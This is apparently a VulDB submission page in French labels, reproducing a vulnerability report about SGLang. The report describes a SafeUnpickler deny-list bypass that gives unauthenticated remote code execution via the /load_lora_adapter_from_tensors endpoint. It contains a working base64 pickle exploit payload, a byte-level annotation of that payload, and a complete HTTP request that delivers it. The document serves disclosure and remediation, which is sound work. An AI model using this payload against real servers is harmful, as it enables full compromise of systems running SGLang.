| Titre | https://github.com/sgl-project/ sglang commit 594ec6335d1da58a2a17d3704acd44c1e72ca232 Deserialization |
|---|
| Description | SafeUnpickler deny-list bypass leads to Remote Code Execution via /load_lora_adapter_from_tensors
### Summary
SGLang's `SafeUnpickler` class, introduced to remediate CVE-2025-10164, contains an incomplete deny-list that can be bypassed using `builtins.getattr` and `builtins.__import__`. Because both names are allowed by the module prefix allowlist but absent from the deny-list, a crafted pickle payload can chain them to call `os.system()` (or any other OS function) and execute arbitrary code on the server. The vulnerable deserialization is triggered via the unauthenticated HTTP endpoint `POST /load_lora_adapter_from_tensors`, which carries no `@auth_level` decorator and therefore accepts requests without credentials even when `--admin-api-key` is configured.
### Details
**Vulnerable class -- `python/sglang/srt/utils/common.py` lines 2356-2427**
`SafeUnpickler.find_class()` operates in two stages:
1. If `(module, name)` is in `DENY_CLASSES`, raise an exception.
2. If the module name starts with any prefix in `ALLOWED_MODULE_PREFIXES`, call `super().find_class()`.
The deny-list blocks `("builtins", "eval")`, `("builtins", "exec")`, `("builtins", "compile")`, `("os", "system")`, and a few subprocess and codecs variants. However, `("builtins", "getattr")` and `("builtins", "__import__")` are not blocked, and `builtins.` is in the allowlist. A pickle payload can therefore:
- Call `__import__("os")` to obtain the `os` module object (bypassing the `("os", "system")` denial because the class lookup is for `builtins.__import__`, not `os.system`).
- Call `getattr(os_module, "system")` to obtain the callable `os.system`.
- Call `os.system(cmd)` with an attacker-controlled command.
### Reproduction
Proof-of-concept payload (97 bytes, base64 for HTTP transport):
```
gARjYnVpbHRpbnMKZ2V0YXR0cgpjYnVpbHRpbnMKX19pbXBvcnRfXwqMAm9zhVKMBnN5c3RlbYZSjCN0b3VjaCAvdG1wL3NnbGFuZ19yY2VfQ09ORklSTUVELnR4dIVSLg==
```
Hex annotation of the payload structure:
```
8004 PROTO 4
63 builtins\ngetattr\n GLOBAL builtins.getattr
63 builtins\n__import__\n GLOBAL builtins.__import__
8c 02 6f73 SHORT_BINUNICODE 'os'
85 52 TUPLE1, REDUCE --> __import__('os') = os module
8c 06 73797374656d SHORT_BINUNICODE 'system'
86 52 TUPLE2, REDUCE --> getattr(os, 'system') = os.system
8c 23 <cmd> SHORT_BINUNICODE command
85 52 TUPLE1, REDUCE --> os.system(cmd)
2e STOP
```
**Vulnerable endpoint -- `python/sglang/srt/entrypoints/http_server.py` lines 1353-1365**
```python
@app.api_route("/load_lora_adapter_from_tensors", methods=["POST"])
async def load_lora_adapter_from_tensors(
obj: LoadLoRAAdapterFromTensorsReqInput, request: Request
):
result = await _global_state.tokenizer_manager.load_lora_adapter_from_tensors(
obj, request
)
```
This endpoint has **no `@auth_level` decorator**, defaulting to `AuthLevel.NORMAL`. The auth middleware (`auth.py` line 143) only gates `NORMAL` endpoints when `api_key` is configured. When a server is started with only `--admin-api-key` (no `--api-key`), `api_key is None` and the middleware allows every request through without authentication. The adjacent `/load_lora_adapter` endpoint (line 1335) correctly uses `@auth_level(AuthLevel.ADMIN_OPTIONAL)`.
The deserialization path from HTTP to `SafeUnpickler` is:
```
POST /load_lora_adapter_from_tensors
-> LoadLoRAAdapterFromTensorsReqInput.serialized_tensors (base64 string)
-> tokenizer_manager.load_lora_adapter_from_tensors()
-> scheduler IPC -> tp_worker.load_lora_adapter_from_tensors() [tp_worker.py:203]
-> MultiprocessingSerializer.deserialize(recv_req.serialized_tensors) [common.py:2353]
-> SafeUnpickler(io.BytesIO(data)).load() <-- bypass here
```
The `POST /update_weights_from_tensor` endpoint carries the same deserialization (`tp_worker.py` line 162) and has `@auth_level(AuthLevel.ADMIN_OPTIONAL)`, making it reachable without credentials whenever no API keys are configured (the default SGLang installation).
### PoC
**Prerequisites:**
- An SGLang server running without `--api-key` (the default), or running with only `--admin-api-key` (no `--api-key`). The server does not need a GPU or a real model; the deserialization occurs in the worker processes, but the HTTP layer accepts and routes the request regardless.
- Network access to the SGLang HTTP port (default: 30000).
**Steps:**
1. Start SGLang (or note that a default deployment already has no API key).
2. Send the malicious request:
```
POST /load_lora_adapter_from_tensors HTTP/1.1
Host: <server>:30000
Content-Type: application/json
{
"lora_name": "evil",
"config_dict": {},
"serialized_tensors": "gARjYnVpbHRpbnMKZ2V0YXR0cgpjYnVpbHRpbnMKX19pbXBvcnRfXwqMAm9zhVKMBnN5c3RlbYZSjCN0b3VjaCAvdG1wL3NnbGFuZ19yY2VfQ09ORklSTUVELnR4dIVSLg=="
}
```
3. Confirm execution (the payload above runs `touch /tmp/sglang_rce_CONFIRMED.txt`):
```
# On the server
ls -la /tmp/sglang_rce_CONFIRMED.txt
```
The server returns HTTP 400 (LoRA feature not enabled) but the pickle payload is deserialized before the LoRA guard check, so the command executes regardless.
**Live validation result:** Confirmed on commit 594ec6335d1da58a2a17d3704acd44c1e72ca232 via direct `SafeUnpickler` invocation. The payload bypassed the deny-list and `os.system()` returned 0 (success), and the proof file was created.
### Impact
An unauthenticated remote attacker with network access to the SGLang server port can execute arbitrary operating system commands as the user running the SGLang process. In default deployments (no API key configured) this requires zero credentials. In deployments using only `--admin-api-key`, the missing `@auth_level` decorator on `/load_lora_adapter_from_tensors` means the endpoint is still unauthenticated. The SGLang process typically runs with GPU access and model-file write permissions; a successful exploit gives full server compromise.
### Environment
Affected versions
commit 594ec6335d1da58a2a17d3704acd44c1e72ca232 |
|---|
| La source | ⚠️ https://github.com/sgl-project/sglang/issues/30165 |
|---|
| Utilisateur | geochen (UID 78995) |
|---|
| Soumission | 01/10/2026 08:05 (il y a 18 jours) |
|---|
| Modérer | 18/10/2026 15:36 (17 days later) |
|---|
| Statut | Dupliqué |
|---|
| Entrée VulDB | 384901 [SGLang jusqu’à 0.5.15 /load_lora_adapter_from_tensors élévation de privilèges] |
|---|
| Points | 0 |
|---|